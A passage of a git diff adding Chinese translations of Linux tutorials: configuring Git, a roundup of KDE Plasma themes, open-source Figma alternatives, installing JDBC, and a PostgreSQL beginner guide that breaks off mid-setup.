configuration file. +[user] +# Please adapt and uncomment the following lines: +#       name = Alan +#       email = alan@hopper +~ +~ +~ +"~/.gitconfig" 5L, 155B                                     1,1           All +``` + +现在我们已经打开了编辑器,并且 Git 已经在后台创建了全局配置文件,我们可以继续接下来的设置。 + +### 2、设置默认名称 + +名字是该文件中的首要条目,让我们先从它开始。用命令行设置我的名称是 `git config --global user.name "Alan Formy-Duval"`。不用在命令行中运行该命令,只需要在配置文件中编辑 `name` 条目就行: + +``` +name = Alan Formy-Duval +``` + +### 3、设置默认邮箱地址 + +邮箱地址是第二个条目,让我们添加它。默认情况下,Git 使用你的系统提供的名称和邮箱地址。如果不正确或者你想要更改,你可以在配置文件中具体说明。事实上,如果你没有配置这些,Git 在你第一次提交时会友好的提示你: + +``` +Committer: Alan +Your name and email address were configured automatically based +on your username and hostname. Please check that they are accurate.... +``` + +在命令行中运行 `git config --global user.email "alan@opensource.com"` 会设置好我的邮箱。同样,我们在配置文件中编辑 `email` 条目,提供你的邮箱地址: + +``` +email = alan@opensource.com +``` + +我喜欢设置的最后两个设置是默认分支名称和默认编辑器。当你仍在编辑器中时,需要添加这些指令。 + +### 4、设置默认分支名称 + +目前有一种趋势,即不再使用 `master` 作为默认分支名称。事实上,在新存储库初始化时,Git 将通过友好的消息提示更改默认分支名称: + +``` +$ git init +hint: Using 'master' as the name for the initial branch. This default branch name +hint: is subject to change. To configure the initial branch name to use in all +hint: of your new repositories, which will suppress this warning, call: +hint: +hint:   git config --global init.defaultBranch +``` + +这个名为 `defaultBranch` 的指令需要位于一个名为 `init` 的新部分中。现在普遍接受的是,许多程序员使用 `main` 这个词作为他们的默认分支。这是我喜欢使用的。将此部分后跟指令添加到配置中: + +``` +[init] +            defaultBranch = main +``` + +### 5、设置默认编辑器 + +第五个设置是设置默认的编辑器。这是指 Git 将使用的编辑器,用于在你每次将更改提交到存储库时输入你的提交消息。不论是 [nano][8]、[emacs][9]、[vi][10] 还是其他编辑器,每个人都有他喜欢的。我喜欢用 vi。添加 `core` 部分,并设置 `editor` 指令为你喜欢的编辑器。 + +``` +[core] +            editor = vi +``` + +这是最后一项。退出编辑器。Git 在主目录下保存全局配置文件。如果你再次运行编辑命令,将会看到所有内容。注意配置文件是明文存储的文本文件,因此它可以很容易使用文本工具查看,如 [cat][11] 命令。这是我的配置文件内容: + +``` +$ cat ~/.gitconfig +[user] +        email = alan@opensource.com +        name = Alan Formy-Duval +[core] +        editor = vi +[init] +        defaultBranch = main +``` + +这是一个简单的指南,可以让你快速开始使用 Git 和它的一些配置选项。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/git-configuration-linux + +作者:[Alan Formy-Duval][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alanfdoss +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/linux_keyboard_desktop.png +[2]: https://opensource.com/article/22/9/git-configuration-linux#create-global-configuration +[3]: https://opensource.com/article/22/9/git-configuration-linux#set-default-name +[4]: https://opensource.com/article/22/9/git-configuration-linux#set-default-email-address +[5]: https://opensource.com/article/22/9/git-configuration-linux#set-default-branch-name +[6]: https://opensource.com/article/22/9/git-configuration-linux#set-default-editor +[7]: https://opensource.com/mailto:alan@opensource.com +[8]: https://opensource.com/article/20/12/gnu-nano +[9]: https://opensource.com/resources/what-emacs +[10]: https://opensource.com/article/19/3/getting-started-vim +[11]: https://opensource.com/article/19/2/getting-started-cat-command diff --git a/published/202210/20220923 11 Gorgeous KDE Plasma Themes to Make Your Linux Desktop Even More Beautiful.md b/published/202210/20220923 11 Gorgeous KDE Plasma Themes to Make Your Linux Desktop Even More Beautiful.md new file mode 100644 index 0000000000..531ae437f8 --- /dev/null +++ b/published/202210/20220923 11 Gorgeous KDE Plasma Themes to Make Your Linux Desktop Even More Beautiful.md @@ -0,0 +1,229 @@ +[#]: subject: "11 Gorgeous KDE Plasma Themes to Make Your Linux Desktop Even More Beautiful" +[#]: via: "https://itsfoss.com/best-kde-plasma-themes/" +[#]: author: "sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "vvvbbbcz" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15102-1.html" + +11 个让你的 Linux 桌面更好看的 KDE Plasma 主题 +====== + +KDE Plasma 桌面的一个强大的特性就是它 [巨大的自定义潜力][1]。 + +提到自定义,改变主题或许是最普遍最直观的方式。 + +不是说默认的 Breeze 主题不好看。只是你的 Plasma 桌面可以通过新的主题和图标得到截然不同的外观。 + +![KDE Plasma 默认的 Breeze 主题][2] + +让我来帮助你。我将分享一些好看的 KDE Plasma 主题,你可以从中选择。我还会在文末展示安装主题的步骤。 + +### 最佳的 KDE Plasma 主题 + +请注意,这不是主题的排行榜。也就是说,排在第三位的主题不一定比第七位或第八位更好。 + +### 1、Sweet + +Sweet 是目前最受欢迎的 KDE 主题之一。这个仅提供了深色模式的主题,可以为你的系统带来华丽的外观。 + +![Sweet 主题][3] + +它可以**通过 KDE 系统设置安装**。它还提供了配套的图标,叫做 “Candy Icons”,如果你通过 KDE 系统设置安装,这套图标将会被自动安装。 + +> **[Sweet 主题][4]** + +### 2、Materia KDE + +Materia 是另一个被很多桌面用户喜欢的主题,拥有光洁和优雅的外观。它有三个版本:Materia、Materia Light 和 Materia Dark。 + +![Materia Dark][5] + +Materia Light 是一个纯白色的主题,Materia Dark 提供了一个完整的深色外观。而 Materia 则是黑色和白色的融合。 + +它也**可以通过 KDE 系统设置安装**。 + +> **[Materia KDE][6]** + +### 3、Nordic + +Nordic 主题在深色主题爱好者中单独拥有一群粉丝。它是围绕 Nord 色系创作的,看起来既舒服又优雅。 + +![Nordic KDE][7] + +它与 Sweet 主题是 [同一个开发者][8],可以**通过 KDE 系统设置安装**。 + +> **[Nordic][9]** + +### 4、WhiteSur + +WhiteSur 是一个由 Vinceliuice 开发,面向 MacOS 主题爱好者的主题。它实现了与 MacOS 外观的高相似度,而且可以通过 KDE 面板、Latte Dock 等功能做到更高的相似度。 + +![WhiteSur][10] + +它还提供了一套图标,使它看起来更具美感。这个受欢迎的主题还提供了深色和浅色两个版本。 + +> **[WhiteSur][11]** + +### 5、Layan + +Layan 主题有浅色和深色两个版本。这是其中之一,它提供了圆角,看起来整洁而美观。 + +![Layan][12] + +Layan 使用 Tela Circle 图标,**可以通过 KDE 系统设置安装**。 + +> **[Layan][13]** + +### 6、Qogir + +这个主题有浅色和深色两个版本,是一个极简的主题,让你的系统看起来整洁而炫酷。 + +![Qogir][14] + +它与 Budgie 桌面有相似的外观。你可以**从 KDE 系统设置**轻易地安装 Qogir 主题和它的配套图标。 + +> **[Qogir][15]** + +### 7、Fluent Round + +如果你是 Windows 11 系统的粉丝,这个主题可以创造出 Windows 11 的外观和感觉。抛开这种相似性,Fluent 主题也是一个不错的主题,有浅色和深色两个版本。 + +![Fluent KDE 主题][16] + +它为你的系统提供了一个光洁的外观,同时还有一套配套的深色和浅色图标。 + +> **[Fluent Round][17]** + +### 8、Orchis + +Orchis 在 GNOME GTK 主题设计中相当流行,亦可用于 KDE。Orchis 有浅色和深色两种颜色。如果你**通过 KDE 系统设置安装**,Tela Icon 这套图标也会被安装,你可以随时从系统设置中更改。 + +![Orchis KDE Theme][18] + +和 GNOME 一样,这个以 Material 风格为灵感的主题提高了桌面的美观度。 + +> **[Orchis][19]** + +### 9、Iridescent Round + +如果你是赛博朋克主题或未来主义主题的粉丝,这个主题将是一个不错的选择。它的默认壁纸**可以通过 KDE 系统设置安装**,这个壁纸看起来很有艺术感,给你的桌面增添了宅男的气息。 + +![Iridescent Round][20] + +如果与一些炫酷的 Plasma 组件和图标一起使用,它可以创造一种别致的视觉享受。 + +> **[Iridescent Round][21]** + +### 10、Nova Papilio + +这是一个圆润的,以紫色为主的浅色主题。如果你喜欢浅色主题和大圆角,这个主题将会为你带来视觉上的愉悦。 + +![Nova Papilio][22] + +这个主题可以**从 KDE 系统设置安装**。 + +> **[Nova Papilio][23]** + +### 11、WinSur Dark + +顾名思义,它有来自 Windows 和 MacOS 主题的某些视觉元素。 + +![Winsur Dark][24] + +这个主题有浅色和深色版本,你可以**在 KDE 系统设置**中找到它。这个主题有圆角和光洁的外观。但根据我的个人体验,它可能会使小显示器上的显示略显拥挤。 + +> **[WinSur Dark][25]** + +#### 值得提及的一些事情 + +在像 KDE Plasma 这样的桌面环境下,列出主题可能是一项艰巨的任务,因为有大量的主题可供选择。以上的清单仅是为不想花太多时间寻找好看主题的人提供的一个参考。 + +在这个名单之外,也有一些主题,例如 [Ant-Dark][26]、[Aritim Dark][27]、[Dracula][28] 等,也能为用户提供不错的视觉体验。 + +### 如何使用这些主题 + +提到这些主题,有几种可以给你的 KDE Plasma 桌面安装主题的方法。你可以在下面找到这些方法的简要说明。它与 [在 GNOME 上安装主题][29] 有点不同。 + +#### 从设置安装主题 + +这是最常见也是最简单的方法。打开 KDE 设置Settings。选择“外观Appearance”,点击“全局主题Global Themes”。然后,你可以通过点击如下图所示的按钮搜索主题。 + +![从 KDE 系统设置中下载新的全局主题][30] + +你将得到一个全面的主题列表。在这里,你可以查看排序的结果。当你找到了一个合适的主题,点击它并按下安装按钮即可。 + +![在 KDE 系统设置中的可用主题的列表][31] + +在大多数情况下,这将同时应用相应的主题和图标。 + +#### 从下载的主题文件中应用主题 + +某些情况下,你可能在网上找到了一些你感兴趣但 KDE 商店中并不包含的主题。在这种情况下,你需要下载并提取文件。随后,将下载的主题的全局主题文件夹放在 `~/.local/share/plasma/look-and-feel/` 下,将 Plasma 主题文件夹放在 `~/.local/share/plasma/desktoptheme/` 下。 + +![在文件管理器中的 KDE Plasma 主题文件夹][32] + +现在,打开设置,你将看到你安装的主题已经可以在“外观Appearance”中找到。 + +#### 通过软件包管理器安装主题 + +采用这种方法的不多。有一些主题,它们出现在你使用的发行版的官方仓库中。你可以通过你的软件包管理器搜索并安装它们。例如,你可以在 Ubuntu 下通过运行以下命令安装 Materia-KDE 主题: + +``` +sudo apt install materia-kde +``` + +如上文所述,这种方法只能安装有限的几个主题,而且随发行版的不同而不同。在安装后,你可以在 系统设置System Settings > 外观Appearance 中更改主题。 + +### 结语 + +综上,我列出了我最喜爱的 KDE Plasma 主题。我也展示了更改主题的方法。 + +你在这里找到了感兴趣的主题了吗?你有一些其他喜欢的,想和我们在评论区分享的 KDE 主题吗? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-kde-plasma-themes/ + +作者:[sreenath][a] +选题:[lkxed][b] +译者:[自由的铁矿](https://github.com/vvvbbbcz) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/kde-customization/ +[2]: https://itsfoss.com/wp-content/uploads/2022/09/breeze.webp +[3]: https://itsfoss.com/wp-content/uploads/2022/09/sweet-theme.webp +[4]: https://store.kde.org/s/KDE%20Store/p/1294729 +[5]: https://itsfoss.com/wp-content/uploads/2022/09/materia-dark.png +[6]: https://www.pling.com/p/1462622 +[7]: https://itsfoss.com/wp-content/uploads/2022/09/nordic-kde.png +[8]: https://github.com/EliverLara/Nordic +[9]: https://www.pling.com/p/1267246 +[10]: https://itsfoss.com/wp-content/uploads/2022/09/whitesur.webp +[11]: https://www.pling.com/p/1400424 +[12]: https://itsfoss.com/wp-content/uploads/2022/09/layan.webp +[13]: https://www.pling.com/p/1325241 +[14]: https://itsfoss.com/wp-content/uploads/2022/09/qogir.png +[15]: https://www.pling.com/p/1675755 +[16]: https://itsfoss.com/wp-content/uploads/2022/09/fluent-kde-theme.webp +[17]: https://www.pling.com/p/1631673 +[18]: https://itsfoss.com/wp-content/uploads/2022/09/orchis-kde-theme.png +[19]: https://www.pling.com/p/1458927 +[20]: https://itsfoss.com/wp-content/uploads/2022/09/iridescent-round.webp +[21]: https://www.pling.com/p/1640906 +[22]: https://itsfoss.com/wp-content/uploads/2022/09/nova_papilio.webp +[23]: https://www.pling.com/p/1663528 +[24]: https://itsfoss.com/wp-content/uploads/2022/09/winsur-dark.webp +[25]: https://www.pling.com/p/1373646 +[26]: https://www.pling.com/p/1464332 +[27]: https://www.pling.com/p/1281836 +[28]: https://www.pling.com/p/1370871 +[29]: https://itsfoss.com/install-switch-themes-gnome-shell/ +[30]: https://itsfoss.com/wp-content/uploads/2022/09/download-new-global-themes-from-kde-plasma-system-settings.webp +[31]: https://itsfoss.com/wp-content/uploads/2022/09/list-of-available-themes-in-kde-plasma-system-settings.webp +[32]: https://itsfoss.com/wp-content/uploads/2022/09/kde-plasma-themes-folder-in-file-manager.png diff --git a/published/202210/20220923 5 Free and Open-Source Figma Alternatives.md b/published/202210/20220923 5 Free and Open-Source Figma Alternatives.md new file mode 100644 index 0000000000..3b564107fe --- /dev/null +++ b/published/202210/20220923 5 Free and Open-Source Figma Alternatives.md @@ -0,0 +1,160 @@ +[#]: subject: "5 Free and Open-Source Figma Alternatives" +[#]: via: "https://itsfoss.com/figma-alternatives/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15099-1.html" + +5 款自由开源的 Figma 替代品 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/02/222037sejf1j6z6jupcz6g.jpg) + +Figma 是一个流行的界面设计工具。你可以免费开始使用,也可以选择高级订阅计划以供进阶使用。 + +这是一个令人印象深刻的平台,许多专业人士都依赖它。然而,在 2021 年,[Figma][1] 通过施加某些限制改变了其免费计划。虽然这使一些用户寻找替代品,但对许多人来说仍然是可接受的。 + +不幸的是,在 2022 年,**Adobe 宣布以 200 亿美元收购 Figma** 让许多用户望而却步。因此,每个人都开始寻找免费且可能开源的替代品。 + +为了帮助你,我们决定编一份 Figma 的自由开源的替代品清单,你可以试试。 + +**注意:** 提到的替代品不一定是 Figma 的完全替代品。我们建议你尝试一下,看看它们是否符合你的要求。 + +### 1、Penpot + +![A Video from YouTube][2] + +**主要亮点:** + +* 自托管选择。 +* 使用 SVG 作为原生格式。 +* 基于网页。 +* 跨平台。 + +Penpot 很快被公认为可靠的免费和开源 Figma 替代品。 + +即使它处于测试阶段,在写这篇文章时,用户似乎喜欢它提供的东西。我不是一个设计专家,但这个工具的用户体验似乎令人印象深刻。 + +Penpot 的独特之处在于它使用 SVG 作为其原生格式,这很罕见,但也为设计师提供了巨大的好处。 + +![penpot screenshot][3] + +你可以期待具有 Figma 的基本功能,因为开发人员提到该工具的原始灵感是 Figma,他们旨在提供熟悉的用户体验,而不给你的设计冒险增加障碍。 + +前往其官方网站或 GitHub 页面探索更多信息。 + +> **[Penpot][4]** + +### 2、Quant UX + +![A Video from YouTube][5] + +**主要亮点:** + +* 原型设计和测试。 +* 无需注册即可获得有限访问权限。 +* 定期添加新的测试版功能。 +* 自托管选择。 + +Quant UX 是一种原型设计工具,你可以在其中测试你的设计并获得它们的实际体验。 + +你可以为安卓手机、iPhone 或台式机创建自定义原型,或选择任何可用的屏幕尺寸。 + +这也是你会发现它不断添加功能的地方,其中一些处于测试阶段。它更专注于通过让你导入设计或创建简单的模型来测试事物。 + +它允许你无需注册即可访问一些内容,但要使所有功能正常工作,你需要注册一个帐户。在其 [GitHub 页面][6] 上探索更多信息。 + +> **[Quant UX][7]** + +### 3、Plasmic + +![A Video from YouTube][8] + +**主要亮点:** + +* 自由开源。 +* 拖放功能。 +* 它支持从 Figma 导入设计。 + +Plasmic 是用于构建网页的卓越设计工具。如果你使用 Figma 进行网页设计,这可能是一个可供选择的工具。 + +它免费提供大部分功能,当你选择高级计划时,可以为团队解锁更多扩展版本历史记录、分析和其他特殊功能。它不仅限于设计网页,还支持 A/B 测试来实验和改进网站的用户交互。 + +无论你使用的是 [开源 CMS][9] 还是 Jamstack 站点,Plasmic 几乎都支持集成。前往其官方网站或 [GitHub 页面][10] 了解更多信息。 + +> **[Plasmic][11]** + +### 4、Wireflow + +![wireflow userflow][12] + +**主要亮点:** + +* 免费使用。 +* 没有付费选项。 +* 它没有被积极维护。 + +Wireflow 作为用户流原型工具是一个有趣的产品,它完全免费使用,没有付费选项。 + +此外,你无需注册帐户。从其官方网站开始,与他人合作规划你的项目并进行头脑风暴。 + +不幸的是,它自 2021 年以来没有看到任何最近的开发活动。但是,它仍然活跃并且仍然是一个自由开源的解决方案。你可以查看其 [GitHub 页面][13] 了解更多信息。 + +> **[Wireflow][14]** + +### 5、Akira UX + +![akira ux 2020][15] + +**主要亮点:** + +* 尚处于早期开发中的应用。 +* 专注于成为原生 Linux UX 应用。 + +[Akira UX][16] 是一个令人兴奋的项目,旨在带来一个原生 Linux 设计程序,该程序可以与一些基于 Web 的解决方案一样工作。 + +Akira 的项目负责人加入了 Mozilla Thunderbird 担任产品设计经理。因此,截至目前,该项目还没有被积极地开发。但是,作为一个自由开源项目,任何人都可以负责它并致力于相同的愿景。 + +它目前提供了可以测试的早期开发版本。你可以在 Flathub 的 beta 渠道中找到它,并按照其 [GitHub 页面说明][17] 进行安装。 + +> **[Akira UX][18]** + +### 总结 + +用自由开源的解决方案取代 Figma 并不容易。但是,如果你不关心 Figma 的所有功能,我们的一些建议应该可以帮助你完成工作。 + +*你知道有什么其他自由开源的 Figma 替代品吗?请在下面的评论中告诉我你的想法*。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/figma-alternatives/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://www.figma.com/ +[2]: https://youtu.be/JozESuPcVpg +[3]: https://itsfoss.com/wp-content/uploads/2022/09/penpot-screenshot.jpg +[4]: https://penpot.app/ +[5]: https://youtu.be/eGDTAJlB-uI +[6]: https://github.com/KlausSchaefers/quant-ux +[7]: https://quant-ux.com/ +[8]: https://youtu.be/sXXpe5jjnRs +[9]: https://itsfoss.com/open-source-cms/ +[10]: https://github.com/plasmicapp/plasmic +[11]: https://www.plasmic.app/ +[12]: https://itsfoss.com/wp-content/uploads/2022/09/wireflow-userflow-800x570.jpg +[13]: https://github.com/vanila-io/wireflow +[14]: https://wireflow.co/ +[15]: https://itsfoss.com/wp-content/uploads/2022/09/akira-ux-2020.png +[16]: https://itsfoss.com/akira-design-tool/ +[17]: https://github.com/akiraux/Akira +[18]: https://github.com/akiraux/Akira diff --git a/published/202210/20220923 Install JDBC on Linux in 3 steps.md b/published/202210/20220923 Install JDBC on Linux in 3 steps.md new file mode 100644 index 0000000000..e791b7fcb5 --- /dev/null +++ b/published/202210/20220923 Install JDBC on Linux in 3 steps.md @@ -0,0 +1,86 @@ +[#]: subject: "Install JDBC on Linux in 3 steps" +[#]: via: "https://opensource.com/article/22/9/install-jdbc-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15103-1.html" + +3 步在 Linux 上安装 JDBC +====== + +> 安装 Java,使用 Maven 安装 JDBC,并安装数据库。然后,你就可以在 Java 代码中与数据库进行交互了。 + +![](https://img.linux.net.cn/data/attachment/album/202210/04/101923dpc8nnzsz5xxpn1x.jpg) + +当你编写一个应用时,需要数据存储是很常见的。有时你要存储你的应用需要的素材数据,其他时候你要存储用户数据,包括偏好和保存的数据。存储数据的一种方式是在数据库中,为了在你的代码和数据库之间进行通信,你需要为你的语言提供一个数据库绑定或连接器。对于 Java 来说,一个常见的数据库连接器是 JDBC(Java 数据库连接Java database connectivity)。 + +### 1、安装 Java + +当然,要使用 Java 进行开发,你还必须安装 Java。对于 Linux、macOS 和 WSL 或 Cygwin,我推荐 [SDKman][2]。对于 Windows,你可以从 [developers.redhat.com][3] 下载 OpenJDK。 + +### 2、使用 Maven 安装 JDBC + +JDBC 是一种 API,通过语句 `import java.sql.*` 导入到你的代码中,但要使其有用,你必须安装数据库驱动和数据库以与之交互。你使用的数据库驱动和要通信的数据库必须匹配:要与 MySQL 交互,你需要 MySQL 驱动,要与 SQLite3 交互,你必须具有 SQLite3 驱动等等。 + +在本文中,我使用 [PostgreSQL][4],但所有主流数据库,包括 [MariaDB][5] 和 [SQLite3][6],都有 JDBC 驱动程序。 + +你可以从 [jdbc.postgresql.org][7] 下载 JDBC for PostgreSQL。我使用 [Maven][8] 来管理 Java 依赖项,因此我将它包含在 `pom.xml` 中(调整 [Maven Central][9] 上的当前版本号): + +``` + + org.postgresql + postgresql + 42.5.0 + +``` + +### 3、安装数据库 + +你必须安装要通过 JDBC 连接的数据库。有几个非常好的开源数据库,但是我只能为这篇文章选择一个,所以我选择了 PostgreSQL。 + +要在 Linux 上安装 PostgreSQL,请使用你的软件仓库。在 Fedora、CentOS、Mageia 和类似设备上: + +``` +$ sudo dnf install postgresql postgresql-server +``` + +在 Debian、Linux Mint、Elementary 和类似平台上: + +``` +$ sudo apt install postgresql postgresql-contrib +``` + +### 数据库连接 + +如果你不使用 PostgreSQL,同样的一般过程也适用: + +1. 安装 Java。 +2. 为你选择的数据库找到 JDBC 驱动,并将其包含在你的 `pom.xml` 文件中。 +3. 在你的开发系统上安装数据库(服务器和客户端)。 + +三个步骤,你就可以开始编写代码了。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/install-jdbc-linux + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/java-coffee-mug.jpg +[2]: https://opensource.com/article/22/3/manage-java-versions-sdkman +[3]: https://developers.redhat.com/products/openjdk/download?intcmp=7013a000002qLH8AAM +[4]: http://LINK-TO-POSTGRESQL-INTRO-ARTICLE +[5]: https://www.redhat.com/sysadmin/mysql-mariadb-introduction +[6]: https://opensource.com/article/21/2/sqlite3-cheat-sheet +[7]: https://jdbc.postgresql.org/download.html +[8]: https://opensource.com/article/22/3/maven-manage-java-dependencies +[9]: https://mvnrepository.com/artifact/org.postgresql/postgresql diff --git a/published/202210/20220924 Drop your database for PostgreSQL.md b/published/202210/20220924 Drop your database for PostgreSQL.md new file mode 100644 index 0000000000..4f600cb0a4 --- /dev/null +++ b/published/202210/20220924 Drop your database for PostgreSQL.md @@ -0,0 +1,288 @@ +[#]: subject: "Drop your database for PostgreSQL" +[#]: via: "https://opensource.com/article/22/9/drop-your-database-for-postgresql" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15132-1.html" + +使用 PostgreSQL 建立你的数据库 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/12/100311t4k1k8hfmh4df5hh.jpg) + +> PostgreSQL 是最灵活的数据库之一,并且它是开源的。 + +数据库是以一种有组织且灵活的方式存储信息的工具。电子表格在本质上就是一个数据库,但是图形化应用程序这一限制使得大多数的电子表格应用程序对程序员毫无用处。随着 [边缘计算][3] 和物联网设备成为重要的平台,开发者们需要更有效且轻量级的方法,来存储、处理、查询大量的数据。我最爱的一种组合是使用 [Lua 连接][4] PostgreSQL 数据库。无论你使用什么编程语言,PostgreSQL 一定是数据库的绝佳选择,但是在使用 PostgreSQL 之前,首先你需要知道一些基本的东西。 + +### 安装 PostgreSQL + +在 Linux 上安装 PostgreSQL,要使用你的软件库。在 Fedora,CentOS,Megeia 等类似的 Linux 版本上使用命令: + +``` +$ sudo dnf install postgresql postgresql-server +``` + +在 Debian, Linux Mint, Elementary 等类似的 Linux 版本上使用命令: + +``` +$ sudo apt install postgresql postgresql-contrib +``` + +在 macOs 和 Windows 上,可以从官网 [postgresql.org][5] 下载安装包。 + +### 配置 PostgreSQL + +大多数发行版安装 PostgreSQL 数据库时没有启动它,但是为你提供了一个脚本或 [systemd 服务][6],能够可靠地启动 PostgreSQL。但是,在启动 PostgreSQL 之前,必须创建一个数据库集群。 + +#### Fedora + +在 Fedora,CentOS 等类似的版本上,PostgreSQL 安装包中提供了一个 PostgreSQL 配置脚本。运行这个脚本,可以进行简单地配置: + +``` +$ sudo /usr/bin/postgresql-setup --initdb +[sudo] password: + * Initializing database in '/var/lib/pgsql/data' + * Initialized, logs are in /var/lib/pgsql/initdb_postgresql.log +``` + +#### Debian + +在基于 Debian 的发行版上,在安装 Postgres 的过程中,配置会通过 `apt` 自动完成。 + +#### 其他版本 + +最后,如果你是在其他版本上运行的,那么你可以直接使用 PostgreSQL 提供的一些工具。`initdb` 命令会创建一个数据库集群,但是这个命令必须在 `postgres` 用户下运行,你可以使用 `sudo` 来暂时地成为 `postgres` 用户: + +``` +$ sudo -u postgres \ + "initdb -D /var/lib/pgsql/data \ + --locale en_US.UTF-8 --auth md5 --pwprompt" +``` + +### 运行 PostgreSQL + +现在,数据库集群已经存在了,使用 `initdb` 的输出中提供给你的命令或者使用 systemd 启动 PostgreSQL 服务器: + +``` +$ sudo systemctl start postgresql +``` + +### 创建一个数据库用户 + +使用 `createuser` 命令来创建一个数据库用户。`postgres` 用户是 Postgres 安装的超级用户。 + +``` +$ sudo -u postgres createuser --interactive --password bogus +Shall the new role be a superuser? (y/n) n +Shall the new role be allowed to create databases? (y/n) y +Shall the new role be allowed to create more new roles? (y/n) n +Password: +``` + +### 创建一个数据库 + +使用 `createdb` 命令来创建一个新的数据库。在这个例子中,我创建了数据库 `exampledb`,并把该数据库的拥有者分配给用户 `bogus`。 + +``` +$ createdb exampledb --owner bogus +``` + +### 与 PostgreSQL 交互 + +你可以使用 `psql` 命令来与 PostgreSQL 中的数据库进行交互。这个命令提供了一个交互界面,所以你可以用它来查看和更新你的数据库。你需要指定要使用的用户和数据库,来连接到一个数据库。 + +``` +$ psql --user bogus exampledb +psql (XX.Y) +Type "help" for help. + +exampledb=> +``` + +#### 创建一个表 + +数据库包含很多表。这些表可以可视化为表格,有很多行(在数据库中称为 *记录*)和很多列。行和列的交集称为 *字段*。 + +结构化查询语言(SQL)是以它提供的内容而命名的,它能提供可预测且一致的语法,来查询数据库内容,从而收到有用的结果。 + +目前,你的数据库是空的,没有任何的表。你可以用 `CREATE` 语句来创建一个表。结合使用 `IF NOT EXISTS` 是很有用的,它可以避免破坏现有的表。 + +在你创建一个表之前,想想看你希望这个表包含哪一种数据(在 SQL 术语中称为“数据类型”)。在这个例子中,我创建了一个表,包含两列,有唯一标识符的一列和最多九个字符的可变长的一列。 + +``` +exampledb=> CREATE TABLE IF NOT EXISTS my_sample_table( +exampledb(> id SERIAL, +exampledb(> wordlist VARCHAR(9) NOT NULL +); +``` + +关键字 `SERIAL` 并不是一个数据类型。`SERIAL` 是 [PostgreSQL 中的一个特殊的标记][7],它可以创建一个自动递增的整数字段。关键字 `VARCHAR` 是一个数据类型,表示限制内字符数的可变字符。在此例中,我指定了最多 9 个字符。PostgreSQL 中有很多数据类型,因此请参阅项目文档以获取选项列表。 + +#### 插入数据 + +你可以使用 `INSERT` 语句来给你的新表插入一些样本数据: + +``` +exampledb=> INSERT INTO my_sample_table (wordlist) VALUES ('Alice'); +INSERT 0 1 +``` + +如果你尝试在 `wordlist` 域中输入超过 9 个字符,则数据输入将会失败: + +``` +exampledb=> INSERT INTO my_sample_table (WORDLIST) VALUES ('Alexandria'); +ERROR:  VALUE too long FOR TYPE CHARACTER VARYING(9) +``` + +#### 改变表或者列 + +当你需要改变一个域的定义时,你可以使用 `ALTER` 这一 SQL 关键字。例如,如果你想改变 `wordlist` 域中最多只能有 9 个字符的限制,你可以重新设置这个数据类型。 + +``` +exampledb=> ALTER TABLE my_sample_table +ALTER COLUMN wordlist SET DATA TYPE VARCHAR(10); +ALTER TABLE +exampledb=> INSERT INTO my_sample_table (WORDLIST) VALUES ('Alexandria'); +INSERT 0 1 +``` + +#### 查询表中的内容 + +SQL 是一种查询语言,因此你可以通过查询来查看数据库的内容。查询可以是很简单的,也可以涉及连接多个不同表之间的复杂关系。要查看表中的所有内容,请使用 `SELECT` 关键字和 `*`(`*` 是通配符): + +``` +exampledb=> SELECT * FROM my_sample_table; + id |  wordlist +----+------------ +  1 | Alice +  2 | Bob +  3 | Alexandria +(3 ROWS) +``` + +### 更多数据 + +PostgreSQL 可以处理很多数据,但是对于任何数据库来说,关键之处在于你是如何设计你的数据库的,以及数据存储下来之后你是怎么查询数据的。在 [OECD.org][8] 上可以找到一个相对较大的公共数据集,你可以使用它来尝试一些先进的数据库技术。 + +首先,将数据下载为逗号分隔值格式(CSV)的文件,并将文件另存为 `Downloads` 文件夹中的 `land-cover.csv`。 + +在文本编辑器或电子表格应用程序中浏览数据,来了解有哪些列,以及每列包含哪些类型的数据。仔细查看数据,并留意错误情况。例如,`COU` 列指的是国家代码,例如 `AUS` 表示澳大利亚和 `GRC` 表示希腊,在奇怪的 `BRIICS` 之前,这一列的值通常是 3 个字符。 + +在你理解了这些数据项后,你就可以准备一个 PostgreSQL 数据库了。 + +``` +$ createdb landcoverdb 